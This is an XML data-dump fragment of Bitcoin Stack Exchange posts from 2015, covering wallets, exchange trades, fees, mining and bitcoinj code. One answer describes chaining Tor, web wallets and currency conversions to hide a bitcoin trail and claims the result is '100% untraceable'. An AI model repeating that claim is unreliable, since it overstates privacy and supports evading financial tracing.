  <row Id="40499" PostTypeId="2" ParentId="40492" CreationDate="2015-09-12T05:34:20.643" Score="1" Body="&lt;p&gt;One way in which I have seen many such websites monetize their services is to release paid APIs. There would be people willing to pay to use your APIs (for trading, news services, Apps etc) if the data is better than the ones that are freely available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of this you can try the usual stuff, ads and referrals and such things on your website.&lt;/p&gt;&#xA;" OwnerUserId="17079" LastEditorUserId="17079" LastEditDate="2015-09-12T07:08:36.117" LastActivityDate="2015-09-12T07:08:36.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40501" PostTypeId="2" ParentId="40498" CreationDate="2015-09-12T08:59:39.463" Score="1" Body="&lt;p&gt;You should looks at the existing C implementations (SPV node, incomplete):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jgarzik/picocoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/picocoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bit-c/bitc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bit-c/bitc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-09-12T08:59:39.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40502" PostTypeId="1" AcceptedAnswerId="40504" CreationDate="2015-09-12T09:27:59.570" Score="3" ViewCount="270" Body="&lt;p&gt;I'm sorry in advanced if this questions are dumb but here goes ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does all buy/sell bitcoin related transactions made in exchanges get logged in the blockchain? if so can they be found and/or tracked somehow using API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the following data recieved from BTER API describing some transaction in the BTC-CNY market&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    date: &quot;1442039516&quot;,&#xA;    price: 1544,&#xA;    amount: 0.01,&#xA;    tid: &quot;11958597&quot;,&#xA;    type: &quot;buy&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to find the from/to addresses of this transaction? if so how?&lt;/p&gt;&#xA;" OwnerUserId="29349" LastActivityDate="2015-09-12T10:20:47.513" Title="Get blockchain info for exchange transaction" Tags="|transactions|blockchain|exchanges|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40503" PostTypeId="1" CreationDate="2015-09-12T10:03:19.650" Score="2" ViewCount="298" Body="&lt;p&gt;I just started with Bitcoin using Multibit HD. I clicked request payment and sent the address to someone. I then deleted the request. What happens if bitcoin is sent to this address? Will it just appear in the payments window?&lt;/p&gt;&#xA;" OwnerUserId="29350" LastEditorUserId="5406" LastEditDate="2015-09-12T13:45:07.693" LastActivityDate="2015-11-11T16:01:53.157" Title="What happens if I receive a payment after deleting the payment request" Tags="|wallet|address|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40504" PostTypeId="2" ParentId="40502" CreationDate="2015-09-12T10:20:47.513" Score="1" Body="&lt;p&gt;Orders on exchanges are completely internal, there is no corresponding transaction made in the Bitcoin network. The volume of transactions happening on Bitcoin exchanges far exceeds the total number of Bitcoin network transactions, it's not feasible on many levels for it to work this way, even just from a latency and confirmation perspective. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-12T10:20:47.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40505" PostTypeId="1" CreationDate="2015-09-12T10:43:23.520" Score="1" ViewCount="279" Body="&lt;p&gt;For now, bitcoin core has to run on my main computer. Once the block chain is downloaded, I see instructions that I can leave it running only 6 hours a day. OK. I can do that at night. I assume I also need to turn it on any time I want to view my wallets, make payments, and recveive payments. No problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about securituy? I live in an apartment building with shared Internet access - quite amazingly fast too. I don't know how secure I am from other apartment dwellers or from the Internet. Advice here? Should I only have the core on when using TOR or proxy or both? Can a sender or receiver discover where I live if I don't use TOR and/or proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA; - J&lt;/p&gt;&#xA;" OwnerUserId="29351" LastEditorUserId="13440" LastEditDate="2015-09-18T01:22:10.540" LastActivityDate="2015-09-18T01:22:10.540" Title="Bitcoin Core - server uptime, privacy and security questions" Tags="|bitcoin-core|data-security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40506" PostTypeId="1" CreationDate="2015-09-12T13:27:53.763" Score="1" ViewCount="608" Body="&lt;p&gt;Well the title says it. I tried to enter blockchain.info seed words into multibit, but it doesn't seem to be working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I'm trying to do is to have multibit (or other) alternative of my blockchain.info wallet so I can send bitcoins when blockchain.info is down.&lt;/p&gt;&#xA;" OwnerUserId="29353" LastEditorUserId="29353" LastEditDate="2015-09-16T21:55:23.997" LastActivityDate="2015-09-16T21:55:23.997" Title="Are multibit HD (or other no web wallet) and Blockchain.info wallet words compatible?" Tags="|blockchain.info|multibit|backup|seed|wallet-recovery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40507" PostTypeId="1" CreationDate="2015-09-12T13:41:30.380" Score="12" ViewCount="16080" Body="&lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_exportingPrivateKeys.html&quot; rel=&quot;noreferrer&quot;&gt;It was possible in MultiBit Classic&lt;/a&gt;, but I can't find it in MultiBit HD. &lt;/p&gt;&#xA;" OwnerUserId="29353" LastEditorUserId="5406" LastEditDate="2015-09-13T13:05:42.020" LastActivityDate="2021-04-28T19:30:53.783" Title="How can you extract private keys from MultiBit HD?" Tags="|multibit|private-key-export|private-key-import|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40508" PostTypeId="2" ParentId="40503" CreationDate="2015-09-12T13:41:59.013" Score="2" Body="&lt;p&gt;You still own the address, so the payment would be received fine, you would just lose the additional notes you may have added to the payment request.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-09-12T13:41:59.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40509" PostTypeId="1" CreationDate="2015-09-12T14:48:50.270" Score="2" ViewCount="240" Body="&lt;p&gt;I am moving over from Multibit classic to HD. I am not particularly technical so this may be an obvious question, however I can't find the answer I want in Multibit's help section, so here I am. &#xA;On the HD request payment field, there are places for amount,(in BTC and Fiat currency), Recipient (one of my addresses)QR code label and private notes. Where is the section to fill in the address payment is request from? In classic I could copy and paste the address. In the HD help section it says you can also do this, however I cant see where you enter the details. Have I missed something blindingly obvious? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="29354" LastActivityDate="2016-06-08T22:20:31.760" Title="Using MultibitHD to request payment" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40510" PostTypeId="2" ParentId="40498" CreationDate="2015-09-12T15:44:14.230" Score="5" Body="&lt;p&gt;The easiest way if you come from web development and or you want to put a system in production is to use the most stable and updated implementation/API of Bitcoin Core&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note: after downloading it it's best practice to check the md5/sha of the file you downloaded on bitcoin.org to be sure your installer is genuine&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1) Install Bitcoin Core &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Use it's CLI or JSON rpc APIs: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there's no step 3!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This in the case your target is to run an app connected to most of the updated nodes, have the latest code with security fixes to at least sign and broadcast transactions, and obviously, query the blockchain!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;glhf&lt;/p&gt;&#xA;" OwnerUserId="12796" LastEditorUserId="12796" LastEditDate="2015-10-05T11:15:19.110" LastActivityDate="2015-10-05T11:15:19.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40511" PostTypeId="1" AcceptedAnswerId="40538" CreationDate="2015-09-12T16:36:33.773" Score="2" ViewCount="845" Body="&lt;p&gt;I'm testing an application based on &lt;strong&gt;bitcoinj&lt;/strong&gt; so I've been sending small amounts for days and it worked fine &amp;ndash; transaction fees are set by default to BTC 0.00001. As of yesterday, these small transactions just remain unconfirmed... I guess because the Bitcoin network also considers volumes. Is that assumption correct? What is a reasonable fee to prevent this inconvenient? And last but not least, how do I recover my unconfirmed transactions?&lt;/p&gt;&#xA;" OwnerUserId="29356" LastActivityDate="2015-09-14T18:19:43.010" Title="Even if transaction fee is set to BTC 0.00001, transactions remain unconfirmed" Tags="|transaction-fees|bitcoinj|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40512" PostTypeId="1" AcceptedAnswerId="40520" CreationDate="2015-09-12T17:07:30.283" Score="-1" ViewCount="865" Body="&lt;p&gt;Will i receive the transactions fee even if i don't find a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i create a personal pool and start mining in it is there a chance to find block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if i don't find a block and for e.g mine 30 transaction will i earn the fees from those transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And can i config my pool in a way to mine some specific transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is the first time this question is asked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="29358" LastActivityDate="2015-09-13T13:13:01.860" Title="mine the transactions on solo" Tags="|transaction-fees|solo-mining|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40513" PostTypeId="2" ParentId="40505" CreationDate="2015-09-12T17:19:03.067" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;security... TOR&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is important to note that TOR does not provide added security. In fact, it could decrease security because you are funneling your traffic through exit nodes which could try to manipulate or log that traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TOR does however help with privacy because it helps hide your actual IP address and therefore location / identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running a full node alone will improve your privacy a bit over other types of &quot;light&quot; wallets (like Multibit) and if you follow the advice of&#xA;@makevoid above, you can improve security by moving your wallet.dat file to an offline computer. There are many other options for improving security and are easier to manage - look into hardware wallets and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22115/how-to-download-bitaddress-org-to-use-offline/22124#22124&quot;&gt;BIP38 encrypted paper wallet created offline&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how secure I am from other apartment dwellers&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anything running on Windows should be considered insecure.  If you are using Mac or Linux, you chances of being hacked are much lower.  Running a firewall makes sense as does using physical ethernet cable (rather than WiFi).  The three options above (offline signing, secure paper wallet and hardware wallet) will all protect your private keys if done correctly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I can leave it running only 6 hours a day&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Running a full node will not help others on the Bitcoin network if you are only running it for 6 hours a day.  If that was not your goal, then no harm done.  The &quot;6 hours&quot; is arbitrary, you will just want to run it &lt;strong&gt;enough&lt;/strong&gt; to keep it up-to-date (in-sync with the network) as new blocks are created every 10 minutes.  Depending on your hardware and internet connection, this might require bitcoin-core to sync for just 15 minutes per day like my Macbook Air.&lt;/p&gt;&#xA;" OwnerUserId="13440" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-09-12T17:41:59.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40514" PostTypeId="2" ParentId="40509" CreationDate="2015-09-12T18:01:03.423" Score="1" Body="&lt;p&gt;With HD wallets you get a new address for each payment request so there is no need to paste a previous address&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-09-12T18:01:03.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40515" PostTypeId="2" ParentId="40512" CreationDate="2015-09-12T18:01:35.467" Score="0" Body="&lt;p&gt;If you are mining in a pool, you're no longer &quot;Solo Mining&quot; - and unless you have an Application-specific integrated circuit (ASIC), a machine made for SHA-256 cryptography, you can rest assured your chances of receiving any kind of reward for work by mining is next to nil.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reward only goes to those that successfully mines the block and confirms the transactions - so the first person to do it gets all of the fees. When you mine in a pool, you come together as a community and agree on a set of rules for distributing the reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid as to your last inquiry fringes on my lack of knowledge on this subject - but I suppose if the different nodes you are connected to have differing transactions, then yes - you would be able to choose which ones of those you'd like to confirm (Probably the ones with higher transaction fees) - but I could be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan on going into mining I feel this link has invaluable information:&#xA;&lt;a href=&quot;http://bitcoinminer.net/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinminer.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are actually interested in the clever proof of work scheme you may find this link particularly interesting:&#xA;&lt;a href=&quot;http://alexgorale.com/how-proof-of-work-works&quot; rel=&quot;nofollow&quot;&gt;http://alexgorale.com/how-proof-of-work-works&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do decide to take up mining, unless you want to spend ludicrous amounts of money to compete with the mining pools already established, I'd suggest you join a mining pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I answered your questions and cleared some things up. :)&lt;/p&gt;&#xA;" OwnerUserId="29359" LastActivityDate="2015-09-12T18:01:35.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40516" PostTypeId="2" ParentId="40506" CreationDate="2015-09-13T03:58:25.917" Score="1" Body="&lt;p&gt;The wallet Blockchain.info offers to users is not an deterministic wallet, as such the mnemonic they present is not compatible with any other piece of software other than their own. If you have your wallet.aes.json file downloaded it can be opened with a very old version of MultiBit Classic, other than that you will have to wait for the centralized wallet to be available again before you can send money.  &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-13T03:58:25.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40518" PostTypeId="1" CreationDate="2015-09-13T12:19:53.820" Score="1" ViewCount="198" Body="&lt;p&gt;Coin was sent in March 2014, to an address I specified, from coinbase to bitcoin-qt, which I think is associated with blockchain.info.  Since then, I have installed a new hard drive and the wallet.dat from my backup was put in place of the one in the appdata/roaming/bitcoin. I had tried salvagewallet and rescan after finding that no balance or transactions were showing.&#xA;I see the transactions to this address in coinbase and the address still has a balance in blockchain.info, but I have noticed DIFFERENT,unrecognized receiving addresses in bitcoin-qt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there another way to restore my old wallet.dat? &lt;/p&gt;&#xA;" OwnerUserId="29364" LastActivityDate="2015-09-13T12:19:53.820" Title="sent coins to wallet address, but bitcoin-qt shows no balance" Tags="|bitcoind|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40519" PostTypeId="2" ParentId="40507" CreationDate="2015-09-13T13:02:15.213" Score="4" Body="&lt;p&gt;Because the private keys and addresses are created deterministically from your wallet words you just need to keep your wallet words safe - there is no need to expose individual private keys. You can use your wallet words to recreate your wallet in either MultiBit HD (use the Restore button on the 'Enter password' screen) or using other tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, you can create an offline copy of &lt;a href=&quot;https://dcpos.github.io/bip39/&quot; rel=&quot;nofollow&quot;&gt;https://dcpos.github.io/bip39/&lt;/a&gt; and create all your addresses/ private keys if you want to (use the BIP32 tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no option to export private keys in MultiBit HD because BIP32 wallets create both receiving addresses and change addresses on demand. Exporting and importing private keys won't give you, in general, a complete HD wallet.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-09-13T13:02:15.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40520" PostTypeId="2" ParentId="40512" CreationDate="2015-09-13T13:13:01.860" Score="0" Body="&lt;p&gt;The product of mining is a block. You cannot &quot;mine transactions&quot; without finding a block, nor is there any reward except when you find a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you mine, you do get to pick the transactions you want to confirm. For a more comprehensive description see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/148/5406&quot;&gt;What exactly is Mining?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The profitability of solo mining has been covered here: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/14346/5406&quot;&gt;What are the odds of discovering a block as a solo miner?&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/16687/5406&quot;&gt;Solo mining just for luck, realistic?&lt;/a&gt;. In short, it's not profitable unless you have humongous mining power.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-09-13T13:13:01.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40521" PostTypeId="1" CreationDate="2015-09-13T14:57:50.863" Score="1" ViewCount="488" Body="&lt;p&gt;When a cryptocoin changes algorithm (eg. scrypt to X11), how does one achieve the merging of the two blockchains? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that they couldn't be directly compatible based on being completely different algorithms, it would cause a &lt;code&gt;loadBlock()&lt;/code&gt; error. They also couldn't just make two blockchains, as all of the scrypt mined coins would be unspendable on the x11 blockchain and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen instances of crypto developers having a v1 to v2 exchange (usually at some ratio like 0.8:1), however that would require the v2 blockchain to have a premine for the conversion distribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully I'm not too far off on my thoughts here, any clarification would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should specify that by merging I don't mean running both algorithms on one coin (saffron-style), I mean how to implement something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if blockNumber &amp;lt;= (maxScryptBlock) do&#xA;    {block.readHash(scrypt);&#xA;    }&#xA;else if blockNumber &amp;gt;= (maxScryptBlock) do&#xA;    {block.readhash(x11);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find any writings anywhere on how a developer makes the switch from one algorithm to another, or really any for cloning any non-scrypt/sha256 coin.&lt;/p&gt;&#xA;" OwnerUserId="29365" LastEditorDisplayName="user20707" LastEditDate="2016-10-18T01:36:31.387" LastActivityDate="2016-10-18T01:36:31.387" Title="Merging blockchains after algorithm change" Tags="|blockchain|algorithms|blockchain-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40522" PostTypeId="2" ParentId="40511" CreationDate="2015-09-13T15:26:22.883" Score="1" Body="&lt;p&gt;You have to calculate the fee depending on the size of the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is described:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3400/what-is-the-exact-formula-for-calculating-transaction-fees&quot;&gt;What is the exact formula for calculating transaction fees?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1195/how-to-calculate-transaction-size-before-sending&quot;&gt;How to calculate transaction size before sending&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now is problem with the transaction throughput, because CoinWallet doing stress test and sends a lot of transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that if you calculate the fee correctly the problem not affect you. If your transactions remain uncommitted you will get your Bitcoins back. &lt;/p&gt;&#xA;" OwnerUserId="29366" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-09-13T15:26:22.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40523" PostTypeId="2" ParentId="32310" CreationDate="2015-09-13T15:44:30.577" Score="5" Body="&lt;p&gt;I would say connect to tor, create a blockchain.info account, send you bitcoin there, then send the bitcoin to &lt;a href=&quot;https://shapeshift.io&quot; rel=&quot;noreferrer&quot;&gt;https://shapeshift.io&lt;/a&gt; to another currency which you have a wallet setup, then back to a second blockchain account, then to wherever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is pretty much 100% untraceable, as it goes via anonymous wallet - anonymouswallet - converted to another blockchain, sent to anonymous wallet, then converted back to bitcoin through another anonymous wallet! You can't track that transaction on the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy :)&lt;/p&gt;&#xA;" OwnerUserId="29367" LastActivityDate="2015-09-13T15:44:30.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40524" PostTypeId="1" CreationDate="2015-09-13T16:38:03.697" Score="-1" ViewCount="173" Body="&lt;p&gt;it comes up with error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error:error parsing JSON:&#xA;[{txid:my txid,vout:my transaction number},...]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so whats this mean and what can i do to correct it please?&#xA;im not very it inclined&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers :-)&lt;/p&gt;&#xA;" OwnerUserId="29370" LastActivityDate="2015-09-13T22:40:25.463" Title="trying to transfer my bitcoins from my unsynced bitcoin qt wallet to new online wallet by createrawtransaction but it comes with error code" Tags="|json-rpc|raw-transaction|" AnswerCount="1" CommentCount="1" ClosedDate="2015-09-14T10:56:05.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="40525" PostTypeId="2" ParentId="40498" CreationDate="2015-09-13T16:39:51.793" Score="0" Body="&lt;p&gt;Whilst not C, libbitcoin is written in C++ and is a full implementation. It should let you do everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not limited to C, bitpay has a very straightforward p2p library here: &lt;a href=&quot;https://github.com/bitpay/bitcore-p2p&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/bitcore-p2p&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not accept the answer of using the RPC, since you have to use a whole other 30mb application just to get your data, and it's not a great start for a scalable application or learning the inner workings of the network. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-09-13T16:39:51.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40526" PostTypeId="1" CreationDate="2015-09-13T18:50:02.330" Score="2" ViewCount="1178" Body="&lt;p&gt;I'am writing my very first application using bitcoinJ api and I got a bit stuck. Maybe somebody can tell me what I am missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My practice app wants to write a sample contract in the bitcoin blockchain, but it seems like, when I try to do so. I get a message from bitcoinJ that says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;java.lang.IllegalStateException: Cannot call until startup is complete&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think I need somehow to wait for the blockchain to synchronize, so I can send stuff to it right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how my java code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import org.bitcoinj.core.*;&#xA;import org.bitcoinj.kits.WalletAppKit;&#xA;import org.bitcoinj.params.RegTestParams;&#xA;import org.bitcoinj.script.ScriptBuilder;&#xA;&#xA;import java.io.File;&#xA;import java.io.IOException;&#xA;import java.util.ArrayList;&#xA;import java.util.List;&#xA;&#xA;public class SimpleExample {&#xA;&#xA;    private WalletAppKit bitcoin;&#xA;    public  NetworkParameters params = RegTestParams.get();&#xA;&#xA;    public SimpleExample() {&#xA;        bitcoin = new WalletAppKit(params, new File(&quot;.&quot;), &quot;testfile&quot; + &quot;-&quot; + params.getPaymentProtocolId()) {&#xA;            @Override&#xA;            protected void onSetupCompleted() {&#xA;                // Don't make the user wait for confirmations for now, as the intention is they're sending it&#xA;                // their own money!&#xA;                bitcoin.wallet().allowSpendingUnconfirmedTransactions();&#xA;            }&#xA;&#xA;        };&#xA;    }&#xA;&#xA;    public void timestamp(File doc) throws IOException, InsufficientMoneyException {&#xA;        // Hash it&#xA;        Sha256Hash hash = Sha256Hash.of(doc);&#xA;&#xA;        // Create a tx with an OP_RETURN output&#xA;        Transaction tx = new Transaction(params);&#xA;        tx.addOutput(Coin.ZERO, ScriptBuilder.createOpReturnScript(hash.getBytes()));&#xA;&#xA;        //Check if the Blockchain is synchronized before you do anything!!!!!!&#xA;&#xA;        // Send it to the Bitcoin network&#xA;        bitcoin.wallet().sendCoins(Wallet.SendRequest.forTx(tx));&#xA;&#xA;        // Transaction proof&#xA;        Proof proof = new Proof();&#xA;        proof.setTx(tx.bitcoinSerialize());&#xA;        proof.setFilename(doc.getName());&#xA;&#xA;        // Grab the merkle branch when it appears in the block chain&#xA;        bitcoin.peerGroup().addEventListener(new AbstractPeerEventListener() {&#xA;            @Override&#xA;            public void onBlocksDownloaded(Peer peer, Block block, FilteredBlock filteredBlock, int blocksLeft) {&#xA;                List&amp;lt;Sha256Hash&amp;gt; hashes = new ArrayList&amp;lt;&amp;gt;();&#xA;                PartialMerkleTree tree = filteredBlock.getPartialMerkleTree();&#xA;                tree.getTxnHashAndMerkleRoot(hashes);&#xA;                if (hashes.contains(tx.getHash())) {&#xA;                    proof.setPartialMerkleTree(tree.bitcoinSerialize());&#xA;                    proof.setBlockHash(filteredBlock.getHash());&#xA;                }&#xA;            }&#xA;        });&#xA;&#xA;        // Wait for confirmations (3)&#xA;        tx.getConfidence().addEventListener((confidence, reason) -&amp;gt; {&#xA;            if (confidence.getConfidenceType() != TransactionConfidence.ConfidenceType.BUILDING)&#xA;                return;&#xA;            proof.depth.set(confidence.getDepthInBlocks());&#xA;            if (proof.depth.get() == 3) {&#xA;                // Save the proof to disk&#xA;                String filename = doc.toString() + &quot;.timestamp&quot;;&#xA;                try {&#xA;                    proof.saveTo(filename);&#xA;                    System.out.println(&quot;Proof complete - Saved to &quot; + filename);&#xA;                } catch (IOException e) {&#xA;                    System.err.println(e);&#xA;                }&#xA;            }&#xA;        });&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15153" LastActivityDate="2015-09-15T13:13:45.160" Title="How to synchronize with the bitcoin blockchain via bitcoinJ" Tags="|blockchain|synchronization|bitcoinj|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40527" PostTypeId="2" ParentId="40524" CreationDate="2015-09-13T22:40:25.463" Score="1" Body="&lt;p&gt;It means that the data you gave to the command is not valid in some way. You may have  formatted it wrong, or made some other mistake. Without seeing the exact command you used, there is no way for me to know what is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;´createrawtransaction´ is intended for expert users; it is quite possible to  lose your money, permanently, if you make a mistake. If you are &quot;not very IT inclined&quot; then I would strongly recommend not using it. Instead, wait for your Bitcoin Core client to finish syncing, then send your transaction through the regular user interface.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-09-13T22:40:25.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40528" PostTypeId="1" CreationDate="2015-09-14T03:05:12.100" Score="2" ViewCount="539" Body="&lt;p&gt;can some one please give me some solid advice as i am in need of my coins and it seems this is the best way to retrieve my coins but i cant risk losing my bitcoins! i have tried to create a raw transaction to my new multibit HD but cant get the command right!!!! as my IT literate nephew said that is an advanced way to go about it specialy since i know FA about IT work! lol. apparently updating my wallet can solve the slow synchronization. i have version 0.7 but wish to update to 0.11 or 0.10. will this work? how do i go about it? is there a high risk of losing my bitcoins? cheers :-)&lt;/p&gt;&#xA;" OwnerUserId="29370" LastActivityDate="2015-09-14T03:25:27.307" Title="can i update my bitcoin qt 0.7 to 0.11 if my wallet has never synchronised and i'm still waiting to receive my bitcoins" Tags="|wallet|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40529" PostTypeId="2" ParentId="40528" CreationDate="2015-09-14T03:25:27.307" Score="1" Body="&lt;p&gt;Yes, you can update from 0.7.* straight to 0.11.0 without problem. 0.7 is actually incapable of synchronizing with the network due to its age, so the upgrade is mandatory. When you open the new software it will rebuild the files on disk, and then resume synchronization (significantly faster than it was before). There is near zero chance of you losing your BTC by doing this, but make a backup of your wallet.dat file regardless just to be as safe as possible. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-14T03:25:27.307" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
